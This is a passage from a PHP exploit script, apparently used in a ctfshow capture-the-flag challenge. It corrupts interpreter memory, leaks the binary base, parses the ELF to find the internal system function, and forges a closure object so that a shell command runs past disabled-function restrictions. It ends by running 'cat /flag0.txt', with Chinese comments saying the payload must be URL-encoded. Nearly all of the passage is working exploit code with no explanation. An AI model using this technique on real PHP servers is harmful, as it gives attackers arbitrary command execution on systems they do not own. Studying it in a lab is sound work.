    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
#需要通过url编码哦

需要进行url编码